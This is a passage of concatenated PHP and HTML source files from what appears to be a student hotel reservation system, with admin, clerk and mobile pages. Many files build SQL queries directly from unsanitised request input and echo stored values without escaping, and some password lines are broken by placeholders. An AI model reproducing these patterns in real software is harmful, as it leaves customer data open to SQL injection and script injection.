data-target="#delete_modal" class="btn btn-danger" name="delete_room">Delete</button> </div> </div> <div class="module-body table"> <form method="POST"> <?php include('modal/modal_confirm.php'); ?> <input type="hidden" value="" id="activate" name="customer_id" /> <table cellpadding="0" cellspacing="0" border="0" class="datatable-1 table table-bordered table-striped display" width="100%"> <thead> <tr> <th></th> <th>Full Name</th> <th>Address</th> <th>Contact</th> <th>Email</th> <th>Username</th> <th>Status</th> </tr> </thead> <tbody> <?php while($row = $customer->fetch_object()): ?> <tr class="gradeX"> <td><input type="checkbox" class="inbox-checkbox" name="check[]" value="<?php echo $row->id;?>"></td> <td> <?php $fullname = $row->fname.' '.$row->mname[0].'. '.$row->lname; ?> <a href="edit_customerclerk.php?id=<?php echo $row->id;?>"><?php echo $fullname;?></a> </td> <td><?php echo $row->address;?></td> <td><?php echo $row->contact;?></td> <td><?php echo $row->email;?></td> <td><?php echo $row->username;?></td> <td> <?php if($row->status==1) echo '<a href="#deactivate_modal" data-toggle="modal" data-id='.$row->id.' class="activate" style="color:green;">Active</a>'; ?> <?php if($row->status==0) echo '<a href="#activate_modal" data-toggle="modal" data-id='.$row->id.' class="activate" style="color:red;">Inactive</a>'; ?> </td> </tr> <?php endwhile; ?> </tbody> </table> </form> </div> <div class="module-foot"> </div> </div> </div><!--/.content--> </div><!--/.span9--> </div> </div><!--/.container--> </div><!--/.wrapper--> <?php include('include/footer.php'); ?> <script type="text/javascript"> <?php if(isset($_GET['delete'])) echo '$.jGrowl("Deleted Successfully!");'; ?> <?php if(isset($_POST['delete'])) echo '$.jGrowl("Deleted Successfully!");'; ?> <?php if(isset($_POST['activate'])) echo '$.jGrowl("Activated Successfully!");'; ?> <?php if(isset($_POST['deactivate'])) echo '$.jGrowl("Deactivated Successfully!");'; ?> </script> <script> $(document).ready(function() { $('.datatable-1').dataTable(); $('.dataTables_paginate').addClass("btn-group datatable-pagination"); $('.dataTables_paginate > a').wrapInner('<span />'); $('.dataTables_paginate > a:first-child').append('<i class="icon-chevron-left shaded"></i>'); $('.dataTables_paginate > a:last-child').append('<i class="icon-chevron-right shaded"></i>'); } ); </script> <script> $('.activate').on('click',function(){ var id = $(this).data('id'); $('#activate').val(id); }); </script> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/model/model_reservation.php <?php class Data_room { function __construct(){ } function get_reservation($con){ $q = "SELECT * FROM tblreservation LEFT JOIN tblbilling on tblreservation.id = tblbilling.reservationID WHERE tblbilling.status='Pending' ORDER BY tblreservation.dateFrom ASC;"; $r = $con->query($q); return $r; } function get_status($id,$con){ $q = "select * from tblbilling where reservationID=$id"; $r = $con->query($q); return $r->fetch_object()->status; } function get_images($id,$con){ $q = "select * from tblroompicture where roomID=$id"; $r = $con->query($q); return $r; } function get_room_byID($id, $con){ $q = "select * from tblroom where id=$id"; $r = $con->query($q); $result = $r->fetch_object()->name; return $result; } function get_customer_byID($id,$con){ $q = "select * from tblcustomer where id=$id"; $r = $con->query($q)->fetch_object(); $fullname = $r->fname.' '.$r->lname; return $fullname; } function get_room_type($con){ $q = "select * from tblroomtype order by name asc"; $r = $con->query($q); return $r; } function update_reservation($id,$post,$con){ } function delete_multiple($ids,$con){ $i = count($ids); for($c=0; $c < $i; $c++){ $id = $ids[$c]; $payment = $con->query("select * from tblbilling where reservationid=$id and status!='Paid'"); if($payment->num_rows > 0){ $this->check_room($id,$con); $q = "delete from tblreservation where id=$id"; $con->query($q); $q = "delete from tblbilling where reservationid=$id"; $con->query($q); } } } function confirm_reservation($ids,$con){ $i = count($ids); for($c=0; $c < $i; $c++){ $id = $ids[$c]; $q = "update tblbilling set status='Confirmed' where reservationid=$id"; $con->query($q); $con->query("insert into tblarrival values(null,$id)"); $q = "select * from tblreservation where id=$id"; $roomID = $con->query($q)->fetch_object()->roomID; $q = "select * from tblreservation where roomID=$roomID"; $r = $con->query($q); if($r->num_rows == 1){ $q = "update tblroom set status=0 where id=$roomID"; $con->query($q); } } } function get_type_name($id,$con){ $q = "select * from tblroomtype where id=$id"; $r = $con->query($q); $row = $r->fetch_object(); return $row; } function check_room($id,$con){ $q = "select * from tblreservation where id=$id"; $roomID = $con->query($q)->fetch_object()->roomID; $q = "select * from tblreservation where roomID=$roomID"; $r = $con->query($q); if($r->num_rows == 1){ $q = "update tblroom set status=1 where id=$roomID"; $con->query($q); } } } ?><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/profile.php <?php include('include/header.php'); ?> <link rel="stylesheet" href="css/jgrowl/jquery.jgrowl.min.css" /> <?php include('include/sidebar.php'); ?> <title>Profile Management</title> <?php if(isset($_POST['update_profile'])){ $post = $_POST; $address = $post['address']; $contact = $post['contact']; $latitude = $post['latitude']; $longitude = $post['longitude']; $profile = nl2br($post['profile']); $policy = nl2br($post['policy']); $service = nl2br($post['service']); $q = "insert into tblprofile values( null, '$address', '$contact', '$latitude', '$longitude', '$profile', '$policy', '$service')"; $con->query($q); $update_profile = true; } $q = "select * from tblprofile order by id desc"; $row = $con->query($q)->fetch_object(); ?> <div class="span9"> <div class="content"> <div class="module"> <div class="module-head"> <h3>Profile Management</h3> </div> <div class="module-body"> <form class="form-horizontal row-fluid" method="post" enctype="multipart/form-data"> <div class="control-group"> <label class="control-label" for="name"><strong>COMPLETE ADDRESS</strong></label> <div class="controls"> <input type="text" name="address" value="<?php echo @$row->address;?>" autofocus class="span8" required> </div> </div> <div class="control-group"> <label class="control-label" for="name"><strong>CONTACT</strong></label> <div class="controls"> <input type="text" name="contact" value="<?php echo @$row->contact;?>" class="span8" required> </div> </div> <div class="control-group"> <label class="control-label" for="name"><strong>LATITUDE</strong></label> <div class="controls"> <input type="text" name="latitude" value="<?php echo @$row->latitude;?>" class="span8" required> </div> </div> <div class="control-group"> <label class="control-label" for="name"><strong>LONGITUDE</strong></label> <div class="controls"> <input type="text" name="longitude" value="<?php echo @$row->longitude;?>" class="span8" required> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput"><strong>COMPANY PROFILE</strong></label> <div class="controls"> <textarea class="ckeditor span8" rows="5" name="profile" required><?php echo @$row->profile;?></textarea> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput"><strong>POLICIES</strong></label> <div class="controls"> <textarea class="ckeditor span8" rows="5" name="policy" required><?php echo @$row->policy;?></textarea> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput"><strong>SERVICES OFFERED</strong></label> <div class="controls"> <textarea class="ckeditor span8" rows="5" name="service" required><?php echo @$row->service;?></textarea> </div> </div> <div class="control-group"> <div class="controls"> <a href="index.php" class="btn btn-default">BACK</a> <button type="submit" class="btn btn-primary" name="update_profile">UPDATE</button> </div> </div> </form> </div> </div> </div><!--/.content--> </div><!--/.span9--> </div> </div><!--/.container--> </div><!--/.wrapper--> <?php include('include/footer.php'); ?> <script src="ckeditor/ckeditor.js"></script> <script type="text/javascript"> <?php if(isset($update_profile)) echo '$.jGrowl("Updated Successfully!");'; ?> </script> </body> </html><file_sep>/Final/index.php <?php session_start(); if(!isset($_SESSION['0'])) { header('location:login.php'); } ?> <?php include 'header.php'; ?> <?php header('Refresh: 20'); ?> <style> </style><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/edit_customer.php <?php if(!isset($_GET['id'])){ header('location:index.php'); } ?> <?php include('include/header.php'); ?> <?php include('include/sidebar.php'); ?> <?php include('model/model_customer.php'); ?> <?php $data = new Data_customer(); $id = $_GET['id']; if(isset($_POST['update_customer'])){ $post = $_POST; $data->update_customer($id,$post,$con); } $row = $data->get_customer_byID($id,$con); ?> <title>Edit Room</title> <div class="span9"> <div class="content"> <div class="module"> <div class="module-head"> <h3>Customer Room</h3> </div> <div class="module-body"> <form class="form-horizontal row-fluid" method="post"> <?php include('modal/modal_confirm.php');?> <div class="control-group"> <label class="control-label" for="fname">First Name</label> <div class="controls"> <input type="text" name="fname" autofocus class="span7" value="<?php echo $row->fname; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="mname">Middle Name</label> <div class="controls"> <input type="text" name="mname" class="span7" value="<?php echo $row->mname; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="lname">Last Name</label> <div class="controls"> <input type="text" name="lname" class="span7" value="<?php echo $row->lname; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="address">Address</label> <div class="controls"> <input type="text" name="address" class="span7" value="<?php echo $row->address; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="contact">Contact</label> <div class="controls"> <input type="text" name="contact" class="span7" value="<?php echo $row->contact; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="email">Email</label> <div class="controls"> <input type="email" name="email" class="span7" value="<?php echo $row->email; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="company">Company</label> <div class="controls"> <input type="text" name="company" class="span7" value="<?php echo $row->company; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="designation">Designation</label> <div class="controls"> <input type="text" name="designation" class="span7" value="<?php echo $row->designation; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="dob">Date of Birth</label> <div class="controls"> <input type="date" name="dob" class="span7" value="<?php echo $row->dob; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="username">Username</label> <div class="controls"> <input type="text" name="username" class="span7" value="<?php echo $row->username; ?>"> </div> </div> <div class="control-group"> <label class="control-label" for="password">Set New Password</label> <div class="controls"> <input type="<PASSWORD>" name="password" class="span7" value=""> </div> </div> <div class="control-group"> <div class="controls"> <a href="customer.php" class="btn btn-default">Back</a> <button type="submit" class="btn btn-primary" name="update_customer">Update</button> </form> </div> </div> </div> </div> </div><!--/.content--> </div><!--/.span9--> </div> </div><!--/.container--> </div><!--/.wrapper--> <?php include('include/footer.php'); ?> <script type="text/javascript"> <?php if(isset($_POST['update_customer'])) echo '$.jGrowl("Updated Successfully!");'; ?> <?php if(isset($_GET['remove'])) echo '$.jGrowl("Removed Successfully!");'; ?> </script> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/print_yearly.php <?php include('../conn.php'); $address = $con->query("select * from tblprofile order by id desc")->fetch_object()->address; $contact = $con->query("select * from tblprofile order by id desc")->fetch_object()->contact; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Annual Report</title> <!-- Bootstrap Core CSS --> <link href="css/print.css" rel="stylesheet"> <style> .wrapper { margin-top:20px !important; border:1px solid #777; background:#fff; padding: 20px; } body { background:#ccc; } /* Page: Invoice */ .invoice { position: relative; width: 90%; margin: 10px auto; background: #fff; border: 1px solid #f4f4f4; padding:10px; } .invoice-title { margin-top: 0; } /* Enhancement for printing */ @media print { .invoice { width: 100%; border: 0; margin: 0; padding: 0; } .invoice-col table td,.invoice-col table th, { padding:0px; } .table-responsive { overflow: auto; } .table-responsive > .table tr th, .table-responsive > .table tr td { white-space: normal!important; } } @media print { .no-print { display: none; } .left-side, .header, .content-header { display: none; } .right-side { margin: 0; } } </style> </head> <?php function calculate($date,$con){ $q = "SELECT * FROM tblreservation left join tblbilling on tblreservation.id = tblbilling.reservationID WHERE DATE_FORMAT(tblreservation.dateTo,'%m-%Y') = '$date' and tblbilling.status='Paid'"; $billing = $con->query($q); $total = 0; while($row = $billing->fetch_object()): $total = $total + $row->total; endwhile; return $total; } ?> <body> <div class="container wrapper"> <div class="row"> <div class="col-lg-12"> <div class="text-center"> <img src="images/logo.png" width="100px" height="100px" /> <h3>iHOTEL <br><small class="text-muted">Annual Report</small> <br><small class="text-muted"><?php echo $address;?></small> <br><small class="text-muted">Contact No: <?php echo $contact;?></small> </h3> </div> </div> </div> <div class="row"> <section class="content invoice"> <div class="table-responsive"> <table class="table table-bordered"> <thead> <tr> <th>Year</th> <th>Month</th> <th>Income</th> </tr> </thead> <tbody> <?php $grand = 0; ?> <?php for($c=1;$c<=12;$c++):?> <tr> <td><?php echo $year = date('Y');?></td> <td><?php echo date('F',strtotime('2015-'.$c.'-10'));?></td> <?php $date=date('m-Y',strtotime($year.'-'.$c));?> <?php $total = calculate($date,$con);?> <td>Php <?php echo number_format($total,2);?></td> <?php $grand = $grand + $total; ?> </tr> <?php endfor; ?> </tbody> </table> </div> <strong>TOTAL: Php <?php echo number_format($grand,2);?></strong> <div class="clearfix"></div> <div class="row no-print"> <div class="col-xs-12"> <button class="btn btn-success pull-right" onclick="window.print();"><i class="fa fa-print"></i> Print</button> <span class="pull-right">&nbsp;</span> <button class="btn btn-default pull-right" onclick="window.close();"><i class="fa fa-share"></i> Close</button> </div> </div> </section> </div> </div> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/js/score.js $(document).on('pageinit', '#result', function(e, data) { var value = localStorage.getItem('result'); console.log('value: ', value); if (value == 'word') { db.transaction(wordDB, errorCB); } else if (value == 'excel') { db.transaction(excelDB, errorCB); } else if (value == 'power') { db.transaction(powerDB, errorCB); } else if (value == 'software') { db.transaction(softwareDB, errorCB); } else if (value == 'browser') { db.transaction(browserDB, errorCB); } else if (value == 'os') { db.transaction(osDB, errorCB); } else if (value == 'parts') { db.transaction(partsDB, errorCB); } else if (value == 'config') { db.transaction(configDB, errorCB); } else if (value == 'specs') { db.transaction(specsDB, errorCB); } }); function showScore(param) { window.localStorage.setItem('result', param); $.mobile.changePage($("#result")); } function wordDB(tx) { tx.executeSql('SELECT * FROM scores WHERE category="word" ORDER BY score DESC;', [], querysuccessfull, errorCB); }; function excelDB(tx) { tx.executeSql('SELECT * FROM scores WHERE category="excel" ORDER BY score DESC;', [], querysuccessfull, errorCB); }; function powerDB(tx) { tx.executeSql('SELECT * FROM scores WHERE category="power" ORDER BY score DESC;', [], querysuccessfull, errorCB); }; function softwareDB(tx) { tx.executeSql('SELECT * FROM scores WHERE category="software" ORDER BY score DESC;', [], querysuccessfull, errorCB); }; function browserDB(tx) { tx.executeSql('SELECT * FROM scores WHERE category="browser" ORDER BY score DESC;', [], querysuccessfull, errorCB); }; function partsDB(tx) { tx.executeSql('SELECT * FROM scores WHERE category="parts" ORDER BY score DESC;', [], querysuccessfull, errorCB); }; function osDB(tx) { tx.executeSql('SELECT * FROM scores WHERE category="os" ORDER BY score DESC;', [], querysuccessfull, errorCB); }; function configDB(tx) { tx.executeSql('SELECT * FROM scores WHERE category="config" ORDER BY score DESC;', [], querysuccessfull, errorCB); }; function specsDB(tx) { tx.executeSql('SELECT * FROM scores WHERE category="specs" ORDER BY score DESC;', [], querysuccessfull, errorCB); }; function errorCB(err) { console.log("Error processing SQL: " + err.code + ' ' + err.message); } function querysuccessfull(tx, result) { var len = result.rows.length; console.log(len); $("#lvScore").html(''); if (len > 0) { for (var i = 0; i < result.rows.length; i += 1) { var row = result.rows.item(i); console.log(row); var html = '<li>\ <h2>' + row.player_name + '</h2>\ <p><strong>' + row.lesson + '</strong></p>\ <span class="ui-li-count">' + row.score + '</span>\ </li>'; $("#lvScore").append(html); } var $the_ul = $('#lvScore'); if ($the_ul.hasClass('ui-listview')) { $the_ul.trigger('create'); $the_ul.listview('refresh'); } else { $the_ul.trigger('create'); } } }; <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/walkin.php <?php include('include/header.php'); ob_start();?> <?php include('include/sidebar.php');?> <title>Checked In List</title> <style type="text/css"> .left { margin-left:50px; } .ui-datepicker-month { color:#000; } </style> <div class="span9"> <div class="module message"> <div class="module-head"> <h3>Walk in Customer</h3> </div> <div class="left col-md-offset-3"> <form class="form-horizontal" method="post" action="walkin.php" style="margin-top: 20px; margin-bottom: 20px;"> <div class="input-group"> <label class="input-group-addon" id="basic-addon1"><b>Date From: </b></label> <input type="text" id="from" name="datefrom" class="form-control" placeholder="mm/dd/yyyy"> </div> <div class="input-group"> <label class="input-group-addon" id="basic-addon1"><b>Date To: </b></label> <input type="text" id="to" name="dateto" class="form-control" placeholder="mm/dd/yyyy"> </div> <div class="control-group"> <label class="col-md-3"></label> <div class="col-md-4"> <button class="btn btn-primary" type="submit" name="check">Check</button> </div> </div> <?php include 'conn.php'; if(isset($_POST['check'])) { $dateF = $_POST['datefrom']; $dateT = $_POST['dateto']; $tmp1 = strtotime($dateF); $dateFrom = date('Y-m-d',$tmp1); $_SESSION['datef'] = $dateFrom; $tmp2 = strtotime($dateT); $dateTo = date('Y-m-d',$tmp2); $_SESSION['datet'] = $dateTo; $q = mysqli_query($con, "select dateFrom, dateTo from tblreservation where dateFrom = '$dateFrom' and dateTo = '$dateTo' "); if(mysqli_num_rows($q) > 0 ) { echo'<div class="alert alert-info"> The Date from '.date('M d, Y',$tmp1).' to '.date('M d, Y',$tmp2).' is reserved. </h4> </div>'; } else { echo ' <div class="control-group"> <label class="col-md-3"><b>Firstname: </b></label> <div class="col-md-4"> <input type="text" class="form-control" name="fname" placeholder="Firstname"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Middlename: </b></label> <div class="col-md-4"> <input type="text" class="form-control" name="mname" placeholder="Middlename"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Lastname: </b></label> <div class="col-md-4"> <input type="text" class="form-control" name="lname" placeholder="Lastname"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Address: </b></label> <div class="col-md-4"> <input type="text" class="form-control" name="address" placeholder="Address"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Contact: </b></label> <div class="col-md-4"> <input type="text" class="form-control" name="contact" placeholder="Contact"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Email: </b></label> <div class="col-md-4"> <input type="email" class="form-control" name="email" placeholder="Email"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Company: </b></label> <div class="col-md-4"> <input type="text" class="form-control" name="company" placeholder="Company"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Designation: </b></label> <div class="col-md-4"> <input type="text" class="form-control" name="designation" placeholder="Designation"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Date of Birth: </b></label> <div class="col-md-4"> <input type="date" class="form-control" name="dob"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Username: </b></label> <div class="col-md-4"> <input type="text" class="form-control" name="uname" placeholder="Username"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Password: </b></label> <div class="col-md-4"> <input type="<PASSWORD>" class="form-control" name="password" placeholder="<PASSWORD>"> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Room: </b></label> <div class="col-md-4"> <select class="form-control" name="room">'; $q = mysqli_query($con,"select name from tblroom"); while($row=mysqli_fetch_array($q)) { echo ' <option>'.$row['name'].'</option> '; } echo'</select> </div> </div> <div class="control-group"> <label class="col-md-3"><b>Number of Person(s): </b></label> <div class="col-md-4"> <select class="form-control" name="num_pax"> <option>1</option> <option>2</option> <option>3</option> <option>4</option> <option>5</option> <option>6</option> <option>7</option> <option>8</option> <option>9</option> <option>10</option> </select> </div> </div> <input type="hidden" name="date1" value="'.$_SESSION['datef'].'"> <input type="hidden" name="date2" value="'.$_SESSION['datet'].'"> <div class="control-group"> <label class="col-md-3"></label> <div class="col-md-4"> <button class="btn btn-primary" type="submit" name="submit">Submit</button> </div> </div> '; } } ?> </form> </div> </div> <!--/.content--> </div> <!--/.span9--> <?php if(isset($_POST['submit'])) { $fname = $_POST['fname']; $mname = $_POST['mname']; $lname = $_POST['lname']; $address = $_POST['address']; $contact = $_POST['contact']; $email = $_POST['email']; $company = $_POST['company']; $designation = $_POST['designation']; $dob = $_POST['dob']; $username = $_POST['uname']; $password = <PASSWORD>($_POST['password']); $room = $_POST['room']; $num_pax = $_POST['num_pax']; $datef = $_POST['date1']; $datet = $_POST['date2']; $dateFrom = date_create($datef); $dateTo = date_create($datet); $diff = date_diff($dateFrom, $dateTo); $num_nights = $diff->format("%d"); $q = mysqli_query($con," insert into tblcustomer( fname, mname, lname, address, contact, email, company, designation, dob, username, password, status ) values ( '$fname', '$mname', '$lname', '$address', '$contact', '$email', '$company', '$designation', '$dob', '$username', '$password', 1 ) "); if($q == true) { $q1 = mysqli_query($con,"select max(id) as id from tblcustomer"); $row=mysqli_fetch_array($q1); $q2 = mysqli_query($con,"select * from tblroom where name = '$room' "); $row2=mysqli_fetch_array($q2); $customerid = $row['id']; $rate = $row2['rate']; $prod = $rate * $num_nights; $price = $prod * $num_pax; $tax = $price * 0.12; $total = $price + $tax; $roomid = $row2['id']; $q3 = mysqli_query($con," insert into tblreservation ( roomID, customerID, dateFrom, dateTo ) values ( '$roomid', '$customerid', '$datef', '$datet' ) "); if($q3 == true) { $q4 = mysqli_query($con,"select max(id) as resid from tblreservation"); $row3 = mysqli_fetch_array($q4); $resid = $row3['resid']; $q5 = mysqli_query($con," insert into tblbilling ( reservationID, roomrate, others, num_night, num_pax, discount, total, status ) values ( '$resid', '$rate', 0, '$num_nights', '$num_pax', 0, '$total', 'Paid' ) "); if($q5 == true) { header("location:".$_SERVER['REQUEST_URI']); } } } } ?> <?php include('include/footer.php'); ?> <?php include('scripts/daterange.php'); ?> <script src="scripts/custom.js"></script> <script type="text/javascript"> <?php if(isset($_POST['submit'])) echo '$.jGrowl("Walkin Reserved Successfully!");'; ?> </script><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/checkedinclerk.php <?php include('include/header.php'); ?> <?php include('include/sidebarclerk.php'); ?> <link rel="stylesheet" type="text/css" href="admin/bootstrap/css/bootstrap.min.css"> <title>Checked In List</title> <div class="span9"> <div class="content"> <div class="col-md-12"> <form class="form-horizontal" method="post" action="checkedinclerk.php"> <div class="form-group"> <label class="col-md-3">Date: </label> <div class="col-md-4"> <input type="date" class="form-control" name="date"> </div> </div> <div class="form-group"> <label class="col-md-3"></label> <div class="col-md-4"> <button class="btn btn-primary" type="submit" name="search">Search</button> </div> </div> </form> <?php include('conn.php'); if(isset($_POST['search'])) { $tmp = strtotime($_POST['date']); $date = date('Y-m-d',$tmp); $q = mysqli_query($con, "select b.reservationID, b.roomrate, b.others, b.num_night, b.num_pax, b.discount, b.total, b.status, c.fname, c.lname, r.dateFrom, r.dateTo, rm.name from tblbilling b left join tblreservation r on r.id = b.reservationID left join tblcustomer c on c.id = r.customerID left join tblroom rm on rm.id = r.roomID where r.dateFrom <= '".$date."' and r.dateTo >= '".$date."' and b.status = 'Confirmed' " ); if(mysqli_num_rows($q) > 0) { echo' <table cellpadding="0" cellspacing="0" border="0" class="datatable-1 table table-bordered table-striped text-center display" width="100%"> <thead> <tr> <th>Room / Customer</th> <th>Room Rate</th> <th>Other Fees</th> <th>No. of<br>Nights</th> <th>No. of<br>Pax</th> <th>Discount</th> <th>Total</th> </tr> </thead> <tbody>'; while($row =mysqli_fetch_array($q)) { $tmp = strtotime($row['dateFrom']); $datef = date('M d, Y',$tmp); $tmp1 = strtotime($row['dateTo']); $datet = date('M d, Y',$tmp1); echo ' <tr> <td>'.$row['name'].'<br>'.$row['fname'].' '.$row['lname'].'<br>'.$datef.' to '.$datet.'</td> <td>'.$row['roomrate'].'</td> <td>'.$row['others'].'</td> <td>'.$row['num_night'].'</td> <td>'.$row['num_pax'].'</td> <td>'.$row['discount'].'</td> <td>'.$row['total'].'</td> </tr> '; } } else { echo ' <div class="span9"> <div class="alert alert-info"> <h3><center>No details for that date</center></h3> </div> </div>'; } } ?> </tbody> </table> </div> </div> <!--/.content--> </div> <!--/.span9--> <?php include('include/footer.php'); ?> <script> $('#table').DataTable(); </script><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/add_room.php <?php include('include/header.php'); ?> <link rel="stylesheet" href="css/jgrowl/jquery.jgrowl.min.css" /> <?php include('include/sidebar.php'); ?> <?php include('model/model_room.php'); ?> <?php $data = new Data_room(); if(isset($_POST['add_room'])){ $data->add_room($_POST, $_FILES, $con); } $type = $data->get_room_type($con); ?> <div class="span9"> <div class="content"> <div class="module"> <div class="module-head"> <h3>Add New Room</h3> </div> <div class="module-body"> <form class="form-horizontal row-fluid" method="post" enctype="multipart/form-data"> <div class="control-group"> <label class="control-label" for="name">Room Name</label> <div class="controls"> <input type="text" name="name" autofocus class="span8" required> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput">Description</label> <div class="controls"> <textarea class="span8" rows="5" name="desc" required></textarea> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput">Type</label> <div class="controls"> <select required tabindex="1" data-placeholder="Select here.." class="span8" name="type"> <?php while($row = $type->fetch_object()): ?> <option value="<?php echo $row->id; ?>"><?php echo $row->name.' ('.$row->type.')';?></option> <?php endwhile; ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput">Capacity</label> <div class="controls"> <select tabindex="1" data-placeholder="Select here.." class="span8" name="capacity"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> <option value="7">7</option> <option value="8">8</option> <option value="9">9</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option> <option value="13">13</option> <option value="14">14</option> <option value="15">15</option> </select> </div> </div> <div class="control-group"> <label class="control-label" for="name">Rate</label> <div class="controls"> <input type="text" name="rate" autofocus class="span8"> </div> </div> <div class="control-group"> <label class="control-label" for="basicinput">Status</label> <div class="controls"> <select tabindex="1" data-placeholder="Select here.." class="span8" name="status"> <option value="1">Available</option> <option value="2">Occupied</option> <option value="3">Reserved</option> <option value="4">Under Renovation</option> </select> </div> </div> <div class="control-group"> <label class="control-label">Images</label> <div class="controls"> <input type="file" name="gallery[]" accept="image/jpeg" multiple class="form-control" > </div> </div> <div class="control-group"> <div class="controls"> <a href="rooms.php" class="btn btn-default">Back</a> <button type="submit" class="btn btn-primary" name="add_room">Submit</button> </div> </div> </form> </div> </div> </div><!--/.content--> </div><!--/.span9--> </div> </div><!--/.container--> </div><!--/.wrapper--> <?php include('include/footer.php'); ?> <script type="text/javascript"> <?php if(isset($_POST['add_room'])) echo '$.jGrowl("Added Successfully!");'; ?> </script> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/profile.php <?php include('conn.php'); if(!isset($_SESSION['user'])) { header("location:index.php"); } else { ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>iHotel</title> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/jquery.mobile-1.4.5.min.css"> <link rel="stylesheet" href="css/jqm-demos.css"> <script src="js/jquery.js"></script> <script src="js/index.js"></script> <script src="js/jquery.mobile-1.4.5.min.js"></script> <script src="cordova.js"></script> </head> <body> <div data-role="page" class="jqm-demos"> <div data-role="header" class="jqm-header"> <h2><a href="index.php"><img src="img/jquery-logo.png" alt="jQuery Mobile"></a></h2> </div><!-- /header --> <div role="main" class="ui-content"> <h3><b>My Profile</b></h3> <br> <?php if(isset($_POST['save'])) { $fname = $_POST['fname']; $mname = $_POST['mname']; $lname = $_POST['lname']; $address = $_POST['address']; $contact = $_POST['contact']; $email = $_POST['email']; $company = $_POST['company']; $designation = $_POST['designation']; $bdate = $_POST['bdate']; $uname = $_POST['uname']; $pass = <PASSWORD>($_POST['pass']); $q = mysqli_query($con,"update tblcustomer set fname = '$fname', mname = '$mname', lname = '$lname', address = '$address', contact = '$contact', email = '$email', company = '$company', designation = '$designation', dob = '$bdate', username = '$uname', password = <PASSWORD>' where id = '".$_SESSION['user']."' "); } // TODO profile $q = mysqli_query($con, "select * from tblcustomer where id = '".$_SESSION['user']."' "); while($row = mysqli_fetch_array($q)) { if(!isset($_POST['edit'])) { echo ' <form class="form-inline" method="post" action="'.$_SERVER['REQUEST_URI'].'"> <p>First Name:</p> <input type="text" name="fname" id="id_fname" value="'.$row['fname'].'" readonly> <p>Middle Name:</p> <input type="text" name="mname" id="id_mname" value="'.$row['mname'].'" readonly> <p>Last Name:</p> <input type="text" name="lname" id="id_lname" value="'.$row['lname'].'" readonly> <p>Address:</p> <input type="text" name="address" id="id_address" value="'.$row['address'].'" readonly> <p>Contact #:</p> <input type="text" name="contact" id="id_contact" value="'.$row['contact'].'" readonly> <p>Email:</p> <input type="email" name="email" id="id_email" value="'.$row['email'].'" readonly> <p>Company:</p> <input type="text" name="company" id="id_company" value="'.$row['company'].'" readonly> <p>Designation:</p> <input type="text" name="designation" id="id_designation" value="'.$row['designation'].'" readonly> <p>Birthdate:</p> <input type="date" name="bdate" id="id_dob" value="'.$row['dob'].'" readonly> <p>Username:</p> <input type="text" name="uname" id="id_uname" value="'.$row['username'].'" readonly> <p>Password:</p> <input type="text" name="pass" id="id_pass" placeholder="<PASSWORD>" readonly> <button type="submit" class="ui-btn ui-btn-b" name="edit">Edit</button> </form> '; } else echo ' <form class="form-inline" method="post" action="'.$_SERVER['REQUEST_URI'].'"> <p>First Name:</p> <input type="text" name="fname" id="id_fname" value="'.$row['fname'].'"> <p>Middle Name:</p> <input type="text" name="mname" id="id_mname" value="'.$row['mname'].'" > <p>Last Name:</p> <input type="text" name="lname" id="id_lname" value="'.$row['lname'].'" > <p>Address:</p> <input type="text" name="address" id="id_address" value="'.$row['address'].'" > <p>Contact #:</p> <input type="text" name="contact" id="id_contact" value="'.$row['contact'].'" > <p>Email:</p> <input type="email" name="email" id="id_email" value="'.$row['email'].'" > <p>Company:</p> <input type="text" name="company" id="id_company" 